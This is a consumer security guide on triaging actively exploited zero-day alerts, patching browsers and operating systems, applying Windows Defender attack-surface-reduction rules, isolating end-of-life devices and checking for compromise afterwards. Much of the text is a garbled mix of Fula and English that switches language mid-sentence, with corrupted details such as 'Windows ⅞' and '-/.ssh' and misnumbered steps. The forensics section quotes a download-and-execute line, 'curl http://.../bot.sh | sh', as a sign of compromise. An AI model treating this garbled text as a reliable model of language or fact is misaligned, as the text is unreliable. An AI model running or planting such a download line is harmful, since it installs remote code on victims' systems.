Jeertinaango ŋakkeende ñalnde Zero, Patch Emergency, e Seerndude Reso¶

Ummital e wasiyaaji kisal siber jaawɗi ummoraade e Fedde Ameriknaare toppitiinde kisal siber e infrastructure (CISA), nokku kisal siber ngenndiwal leydi Angalteer (NCSC), Apple, Google, or Microsoft warning that a critical Zero-Day Vulnerability (0-Day) ina huutortee no feewi e nder ladde (KEV) against your iPhone, Android phone, Windows PC, Mac, Chrome browser, home/office VPN firewall, or Network Attached Storage (NAS) drive, or discovering that your home Wi-Fi router, security camera NVR, or older computer has reached End-of-Life (EoL / End-of-Support) and will never receive a patch for a newly disclosed remote code execution flaw, requires immediate triage. Unlike routine monthly software updates, an actively exploited zero-day means threat actors already possess a working weaponized exploit (such as a zero-click iMessage/WhatsApp image parser exploit, a malicious WebP/font rendering browser exploit, or an unauthenticated WAN port command-injection exploit against routers and NAS appliances) before defenders have deployed the fix. Once a zero-day proof-of-concept (PoC) is published or added to the CISA Known Exploited Vulnerabilities (KEV) Catalog, automated botnets (Mirai, Volt Typhoon, ransomware affiliates) scan the entire IPv4 internet within 15 to 45 minutes to hijack every unpatched device exposed to the open web.

If a zero-day exploit has disrupted life-safety equipment, hospital clinical systems, or public utility infrastructure, or involves physical extortion threats, call your local emergency number (911 to leyɗeele dentuɗe Amerik e Kanadaa, 112 e nder Dental Orop fof, 999 e nder leydi Angalteer) walla ƴeewto regginorde amen hakkunde leyɗeele limooje caɗtuɗe immediately. For all consumer, home-office, and small-business zero-day alerts and End-of-Life (EoL) hardware emergencies, execute the rapid patching, temporary mitigation, and network isolation workflow below.

Waɗde ɗum jooni¶

1. Apply emergency Out-of-Band (OOB) patches AND complete the full reboot / browser relaunch immediately: Downloading an emergency update is useless until the vulnerable code in RAM is unloaded. On Chrome, Edge, Brave, and Firefox, a patched zero-day remains exploitable in memory until you click the top-right "Relaunch to Update" button (chrome://settings/help). On iOS, macOS, Windows, and Android, trigger the update manually and reboot the device completely (which also purges non-persistent memory-resident spyware).
2. If a zero-day has NO patch available yet ("Unpatched 0-Day"), apply the vendor's Temporary Workaround or Attack Surface Reduction (ASR) rule today: When a vulnerability is disclosed before a patch is compiled, CISA and the vendor publish a temporary mitigation (such as disabling UPnP and WAN Remote Management on a router, turning on Apple Lockdown Mode on iOS/macOS, disabling JavaScript JIT in Edge/Chrome, or blocking a specific TCP/UDP port at the firewall).
3. Audit your public IP address on Shodan.io walla GRC ShieldsUP right now and close all exposed WAN ports (Port Forwarding / UPnP / DMZ): Ninety percent of devastating home and small-business zero-day compromises hit devices that are directly reachable from the public internet (QNAP / Synology NAS drives, ASUS / Netgear / TP-Link router admin pages, Plex, RDP Port 3389, walla VPN appliances). Log into your router and disable Remote WAN Administration, UPnP (Universal Plug and Play), and DMZ Host immediately following our securing home routers and IoT devices guide.
4. Reboot your mobile phone and router immediately if you suspect zero-click spyware or botnet infection: Sophisticated zero-day exploits against smartphones (Pegasus, Predator, Triangulation) and SOHO routers (VPNFilter, KV Botnet) often run purely inside volatile RAM to avoid detection on disk. Powering the device completely off, waiting 60 seconds, and powering it back on forces the attacker to re-exploit the device (which fails once the emergency patch or Lockdown Mode is active).
5. Assume that patching a zero-day does NOT kick out an attacker who already breached your device before you patched: A software patch closes the open window, but it does not remove backdoors, web shells, rogue admin accounts, or stolen session cookies created if an attacker exploited your system yesterday. If your router, NAS, VPN, or server was exposed to the internet while an unauthenticated CVSS 9.8+ zero-day was active in the wild, check logs for Indicators of Compromise (IoCs), rotate all credentials, and factory-reset or rebuild if compromised.
6. Isolate any End-of-Life (EoL) device that can no longer receive security patches onto a strict Guest / IoT VLAN with WAN Internet Access blocked: Never leave an End-of-Life Windows ⅞/10 PC, unsupported old Mac, obsolete Android/iPhone, or discontinued Wi-Fi router connected directly to your main LAN or the open internet. If an EoL router is your main internet gateway, unplug and replace it immediately.

Decision tree: emergency triage for active zero-day alerts and End-of-Life (EoL) hardware¶

Rewru e ndee lekki kuule njuɓɓudi kala nde wasiyaaji ñalɗi zero walla humpito Joofgol Nguurndam toɗɗii lowre maa walla kaɓirɗe maa:

flowchart TD
    Alert["Ñalngu Zero (0-Day) walla CISA KEV Alert Jaawɗo Anndinaama ngam OS maa, Feerorde maa, Router maa, walla NAS maa"] --> PatchCheck{"1. Mbele yeeyoowo oo yaltinii Patch Kisal Emergency?"}
    PatchCheck -->|"Eey: Patch ina woodi"| Exposure{"2. Mbele kaɓirgal maa ina jokkondiri e internet (WAN Port Open) hade maa Patch?"}
    Exposure -->|"Alaa: Kaɓirgal kiliyaneeɓe caggal NAT (Telefoŋ, Laptop, Navigateur)"| Apply["Sosde Kesɗitingol rewrude e Cuɓe Native + Reboot timmuɗo / Reboot Feerorde Ɗoon e ɗoon"]
    Exposure -->|"Eey: Router, NAS, VPN, walla Serwer mo yimɓe fof njiylotoo"| Forensic["CRITICAL: Patching tan riiwtataa ƴaañooɓe. Ƴeewto Logs ngam ƴeewde Koppi Web / Admins Rogue, Patch, Rotate Keys, walla Reset Factory"]
    PatchCheck -->|"Alaa: Ñalngu 0-WALLA Kaɓirgal ngal Patched Ko Joofgol Nguurndam (EoL)"| EoLCheck{"3. Mbele kaɓirgal ngal ko joofnirde nguurndam (EoL) walla ina fadi patch yeeyoowo?"}
    EoLCheck -->|"Ina fadi Patch yeeyoowo (Window 0-Day wakkati)"| Mitigate["Naftoraade Ƴeewndo : Uddit Portooji WAN, Softin Mode Lockdown Apple / Windows ASR, walla Softin Sarwiis Ɓooyɗo"]
    EoLCheck -->|"Duuɓi-e-Nguurndam (Alaa Patch Maa Arde)"| Role{"4. Hol darnde nde kaɓirgal EoL jogii?"}
    Role -->|"Router Edge / Koolaaɗo kuuɓal / Modem"| Replace["UNPLUG & REPLACE IMMEDIATELY (Or Flash Supported OpenWrt Firmware if Hardware Compatible)"]
    Role -->|"PC ɓooyɗo, Telefoŋ ɓooyɗo, Printer, Kamera, walla NAS"| Isolate["Air-Gap walla Yahde e VLAN IoT keeriiɗo + Haɗde jokkondire internet e Firewall router"]

Janngude Wasiyaaji Ñalawma Zero no injenieer kisal nii (decoding CVE, CVSS, CISA KEV, be EPSS)¶

Wonaa kala ŋakkeende lowre nde haalaa e jaayɗe ina ɗaɓɓi jolnude kala ko ina wona waktu 2ɓo subaka. Famde kollitooje joy karallaagal nder golloowo CISA, NIST NVD, walla bulletin kisal yeeyoowo ina haalana ma e nder leƴƴanɗe 30 so tawii aɗa wondi e ɓuuɓri laboratuwaar teori walla yiite galle alarm joy:

Faandaare 1 : Patch e hoolkiso ñalɗi zero e nder denndaangal lowe mawɗe¶

So ñalawma zero-day golloowo yanii e ordinateer maa walla feerorde web maa, woto ɗaɓɓu windooji toppitiiɗi jamma otomaatik (ɗi keewi leeltinde udditgol balɗe 3 haa 14). Doole pull e hoolkiso limoore mahdi e junngo:

1. Feerorɗe Web (Google Krom, Mikrosoft Edge, Brave, Firefox, Safari) : ko kañum woni #1 ñalngu zero¶

Sabu feerorɗe web ina njuurnitoo JavaScript mo hoolaaki (V8 / SpiderMonkey / JavaScriptCore Kompilaaji JIT), jolɗe wideyooji WebRTC, nate WebGL, e mbaydiiji natal (WebP, libvpx, FreeType) ummoraade e kala lowre e yeeyirde nde njillu-ɗaa, feerorde zero-days konte ko ɓuri heewde e jeertinaango zero-day kuutortooɗo. 1. Krom Guugl: Winndu chrome://settings/help e nder lowre adrees. Chrome maa ƴeewto ɗoon e ɗoon serweeji kesɗitingol Google ɗii, ƴetta patch oo. Aɗa foti ɓuɗɗude butoŋ "Relaunch" bulo peeñɗo oo, kadi so aɗa jogii geɗe Chrome cuuɗiiɗe dogduɗe e nder laylaytol maa, uddu ɗe fof walla fuɗɗoo ordinateer maa ngam vulnerable ɓooyɗo oo chrome.exe binary ina ɓuuɓna haa laaɓi e RAM. 2. Edge Mikrosoft: Sifaa edge://settings/help, ɗaɓɓu haa ƴettugol ngol yettoo 100%, ɓuɗɗu Fuɗɗoode. 3. Feerorde Jaambaaro: Winndu brave://settings/help e ɓuɗɗude Fuɗɗude. 4. Mozilla Firefox: Dobo e Menu -> Ballal -> Ko faati e Firefox (walla winndu about:preferences#general -> ƴettu to Kesɗitingol Firefox) e ɓuɗɗude Fuɗɗo ngam kesɗitinde Firefox. 5. Safari Apple: Kesɗitingol Safari ina mooftaa to bannge Kesɗitingol Siistem iOS, iPadOS, e macOS (ina heen kesɗitingol Safari keeriiɗo les System Settings -> General -> Software Update ngam macOS Sonoma/Ventura).

2. Telefoŋaaji cinndooji e tablooji (Apple iOS / iPadOS e Google Android) .¶

Ñalɗi zero-mobiil (haa teeŋti e iMessage zero-click, FaceTime, WebKit, modem baseband, e ŋakkeende GPU Siistem Android / Qualcomm) ina kuutoree no feewi e lowre njulaagu (Pegasus, Predator) e waɗooɓe kulhuli tarde. - Apple iPhone e iPad (iOS / iPadOS): 1. Uddit Cuɓe -> Huuɓtodinnde -> Kesɗitingol lowre. 2. Ƴeewto Kesɗitingol otomatik -> Jaabawuuli kisal & Fiilde Siistem (ko noon Apple Jaabawuuli Kisal Jaawɗi / Ɓeydagol Kisal Background huutortoo otomatik hakkunde yaltinɗe iOS mawɗe). 3. Install the pending iOS update immediately, which includes a full kernel reboot. - Telefoŋaaji Android (Piksel Google, Samsung Galaksi, ekn): 1. Android ina jogii tigi rigi laabi keso kisal ɗiɗi ceertuɗi ɗi pot-ɗaa ƴeewtaade e hoore maa: - Kanel A (Toɓɓere Patch Kisal OS): Uddit Cuɓe -> Kisal & sirlu -> Siistem & kesɗitingol -> Kesɗitingol kisal (e ƴeewtaade ñalngu nguu: ina foti wonde e nder balɗe 30 haa 60 cakkitiiɗe ɗee). - Kanel B (Kesɗitingol Siistem Google Play / Laabi mawɗi eɓɓoore): Uddit Cuɓe -> Kisal & sirlu -> Siistem e kesɗitingol -> Kesɗitingol Siistem Google Play. Balɗe zero keewɗe teeŋtuɗe e nder kodekuuji media Android, jokkorgal Wi-Fi, e sahaa doggol ina njuɓɓinee e Kesɗitingol Siistem Google Play tawa aɗa fadi kesɗitingol firmware lewru kala joloowo maa. Tappu Ƴeewto ngam hesɗitinde, jolnu, e Fuɗɗo jooni.

3. Desktop Operating Systems (Windows 10/11, macOS, and Linux)¶

• Windows 10 e Windows 11:
• Uddit Cuɓe (Win + I) -> Kesɗitingol Windows -> Ƴeewto kesɗitingol.
• Kadi ƴeewto Kisal Windows -> Reende mborosaaji e kulhuli -> Kesɗitingol ndeenka -> Ƴeewto kesɗitingol (Microsoft ina heewi neldude ƴeewndorɗe ñalɗi zero e ŋakkeende virtual-patches nder ñalnde kala Hakkille kisal Microsoft Defender firo kesɗitingol Windows timmungol ko waktuuji ko adii a).
• MacOS Apple:
• Open Apple Menu -> System Settings -> General -> Software Update. Ensure "Install Security Responses and system files" is toggled ON under the info (i) bitong.
• Linuks (Ubuntu / Debian be RHEL / Fedora):
• Doggo ɗoon e ɗoon hesɗitinde defterdu kisal e ƴeewtaade so tawii ko kernel walla shared-library (glibc, openssl, openssh, xz, cups) fuɗɗoraade ina ɗaɓɓiree:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

Faandaare 2: Golle caɗtuɗe so tawii ALAA patch woodi tawo (Wuurde e windo "Zero-Day mo patch mum alaa")¶

What do you do when CISA, Microsoft, Apple, or a security firm announces that a critical vulnerability is being actively exploited right now, but the vendor says the official patch won't be ready for another 3 to 10 days? You must immediately apply Compensating Controls and Attack Surface Reduction (ASR) to break the exploit chain before it can execute:

Copy-and-Paste Script: Windows PowerShell Emergency Zero-Day Hardening (ASR Rules)¶

If an unpatched Windows, Office, or PDF zero-day is circulating in the wild and you are running Windows 10/11 Pro/Enterprise (or using Defender on Windows Home via registry/PowerShell), run these commands in PowerShell (Run as Administrator) to activate Microsoft Defender's core Attack Surface Reduction (ASR) rules in Block mode (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Phase 3: What to do when your device hits End-of-Life (EoL / End-of-Support)¶

Every piece of hardware and software eventually reaches End-of-Life (EoL) or End-of-Support (EoS), the date after which the manufacturer permanently stops releasing security patches, even when catastrophic CVSS 10.0 zero-day vulnerabilities are discovered. - Why End-of-Life is an active emergency: Attackers use automated "Binary Diffing" (BinDiff / Ghidra) on patches released for supported models (for example, Windows 11 or a new 2025 TP-Link router) to reverse-engineer the exact vulnerability, and then immediately fire that exploit against End-of-Life models (such as Windows ⅞/unsubscribed Windows 10, older macOS releases, or 5-year-old routers) that share the same legacy code but will never get the patch ("Forever-Day Exploits").

The 4-Tier End-of-Life (EoL) Hardware Isolation & Replacement Protocol¶

Use this decision matrix to handle every End-of-Life device in your home or office without risking a network-wide breach:

No coktirtee joofnirde nguurndam (EoL) Printer, Kamera, walla NAS E nder "Kasoo nokkuure tan mo alaa enternet" e Router maa¶

So tawii aɗa jogii tappirde reso ɓooynde, telefoŋ smart, kamera kisal IP, walla diski NAS ɓooyɗo golloowo haa jooni no moƴƴi e nokku maa reso galle (LAN) kono yettiima End-of-Life kadi meeɗaa heɓde patch kisal goɗɗo, a fotaani werlaade ɗum e nder lowre so a haɗii ɗum haaldude e internet yaajɗo (WAN): 1. Naat e konsol njuɓɓudi router maa Wi-Fi gadano. 2. Yah to Ceŋorɗe LAN / Serveur DHCP -> Leydi DHCP Statik (Reservation Adress) e rokkude kaɓirgal EoL ngal MAC Address adrees IP nokkuure static duumotooɗo (yeru, 192.168.1.240). 3. Yah to Firewall / Konngol jibnaaɓe / Konngol keɓgol / Kuule jolngo e nder dottaaɗe router maa: - Sosde kuulal ngam... 192.168.1.240 (walla mum MAC Address) waɗee e Haɗde denndaangal naatgol Enternet (WAN) (Outbound & Inbound WAN = DROP/REJECT). - Walla, e nder kuutorɗe resooji kuutorteeɗi e junngo kaɓirgol EoL ngol, waɗ IP mum Static to 192.168.1.240, Mask lowre to 255.255.255.0, e accude ko Default Gateway be DNS Server fannuuji ɗi ngalaa ko laaɓi (walla waɗde Default Gateway e IP mo alaa hono 192.168.1.254). So a alaa Default Gateway moƴƴo, tappirde EoL walla kamera ina waawi tappirde walla jolnude ordinateeruuji e nokku maa 192.168.1.x subnet, but is physically incapable of routing packets out to the internet or being reached from the internet.

Phase 4: Post-exploitation forensics if your device was exposed before you patched¶

When a CVSS 9.8+ unauthenticated zero-day affects an internet-facing device (such as a home or small-business router, VPN gateway, QNAP / Synology NAS, Plex media server, or port-forwarded desktop), applying the vendor's firmware update only closes the front door. If an automated scanner hit your public IP address before you patched, the attacker may have already planted a persistent backdoor that survives a standard reboot. Execute this 4-step post-patch forensic audit:

1. Check for Unauthorized Administrator Accounts and SSH Keys:
2. Open the Users / Administrators management screen on your NAS, router, or computer and verify that no unfamiliar admin accounts (such as support, admin2, backup, walla system) were created during the zero-day window.
3. On Linux/macOS/NAS systems, inspect -/.ssh/authorized_keys be /root/.ssh/authorized_keys to verify that no rogue public SSH keys were appended.
4. Audit Active Outbound Network Connections (netstat / Router Traffic Monitor) and DNS Settings:
5. Compromised SOHO routers and NAS appliances frequently have their Primary and Secondary WAN DNS Servers hijacked to point to a rogue IP address, or maintain a persistent reverse shell / botnet connection (SOCKS5 proxy or Tor relay).
6. Log into your router's WAN / Internet Settings and confirm that DNS is set to your ISP default or a verified public resolver (1.1.1.1, 8.8.8.8, walla 9.9.9.9).
7. Check cron Jobs, Startup Scripts, and Web Root Directories for Web Shells:
8. Zero-day exploits against web-managed appliances almost always drop a tiny .php, .jsp, .aspx, walla .cgi web shell into the device's web server directory or inject a persistent crontab download-and-execute line (curl http://.../bot.sh | sh).
9. If your router or NAS exhibits unexplained high CPU usage, strange outbound traffic spikes, or modified system binaries after a zero-day alert, do not trust an in-place firmware update alone: back up your pure user data files (photos and documents only, never system configuration backups that might contain the attacker's cron job), perform a full hardware Factory Reset, manually install the latest patched firmware from a clean computer, and set a brand-new administrator password and fresh MFA seed.
10. Rotate All Credentials Stored on or Passed Through the Vulnerable Device:
11. If an edge VPN appliance, router, or NAS was compromised prior to patching, any plaintext passwords, SMB network share credentials, cloud backup API keys (AWS S3, Backblaze B2, Wasabi), or SSL/TLS private keys stored on that device must be revoked and regenerated immediately.

Naamne keewɗe naamneede¶

Does installing a zero-day patch remove hackers if my device was already exploited before I updated?¶

No. A software security patch only repairs the underlying code vulnerability so future exploit attempts fail; it does not evict an attacker who already exploited the vulnerability prior to patching and planted a persistent web shell, backdoor binary, scheduled task, or rogue administrator account, nor does it invalidate session cookies or passwords they already stole. If your device was directly exposed to the public internet (such as a router, NAS, VPN appliance, or public server) while an unauthenticated zero-day was actively exploited in the wild, you must inspect system logs for Indicators of Compromise (IoCs), rotate all passwords and SSH/API keys, and perform a clean factory reset or OS reinstallation if any unauthorized access occurred.

How can I check if my Wi-Fi router or computer has reached End-of-Life (EoL)?¶

Look at the manufacturer label on the bottom of your router (noting the exact Model Number and Hardware Revision, such as v1, v2, or v4) and check the manufacturer's official End-of-Life / End-of-Service Products List webpage (published by ASUS, Netgear, TP-Link, Linksys, D-Link, Synology, and QNAP), or check the community database at endoflife.date for operating systems, phones, and software. In addition, log into your router's firmware update screen: if the date of the most recent available firmware is more than 18 to 24 months old, treat the router as de facto End-of-Life and replace it or flash supported OpenWrt firmware.

Can I make an End-of-Life Windows 10 PC or old Mac safe without buying a new computer?¶

Yes. When Microsoft ends free consumer security support for a Windows version or Apple drops an older Intel or early Mac model from macOS updates, the physical computer hardware is fine; only the operating system is End-of-Life. You can either enroll a Windows 10 PC in Microsoft's official Extended Security Updates (ESU) program, or back up your files and install a modern, actively patched, free Linux operating system such as Linux Mint, Ubuntu LTS, Fedora, or Google ChromeOS Flex via a USB flash drive, which gives your existing laptop another 5 to 8 years of continuous zero-day kernel and browser security updates.

Fuɗɗoode ƴeewtaama¶

• Waɗde kisal siber e kisal gollorɗe (CISA, United States): Known Exploited Vulnerabilities (KEV) Catalog, Binding Operational Directive BOD 22-01 (Reducing the Significant Risk of Known Exploited Vulnerabilities), and BOD 23-02 (Mitigating the Risk from Internet-Exposed Management Interfaces).
• Biro fedde toppitiinde wiɗtooji (FBI), National Security Agency (NSA), & UK National Cyber Security Centre (NCSC): Joint Cybersecurity Advisory on Mitigating Botnet Exploitation of End-of-Life (EoL) SOHO Routers, Firewalls, and VPN Appliances.
• Duɗal ngenndiwal toppitiingal tolnooji e karallaagal (NIST, United States): SP 800-40 Rev. 4, Guide to Enterprise Patch Management Planning: Preventive Maintenance for Technology.
• Apple Platform Security & Citizen Lab (University of Toronto): iOS / macOS Lockdown Mode Architecture and Rapid Security Response Zero-Click Spyware Mitigation Guidelines.
• Nokku jaabawol kisal Microsoft (MSRC): Microsoft Defender Attack Surface Reduction (ASR) Deployment Reference for Zero-Day Mitigation and Out-of-Band (OOB) Security Update Guidance.

Ardiiɓe jokkondirɓe¶

• Securing home routers, smart TVs, and IoT devices
• Ittugol mboros bonɗo, ransomware, e mboros spyware
• Stalkerware, ƴoogirde, e ƴeewndo keylogger e telefoŋaaji
• Jaabawol ŋakkeende dokke, konte kuutorteeɗe, e ustude njoɓdi
• Limooje emergency e leydi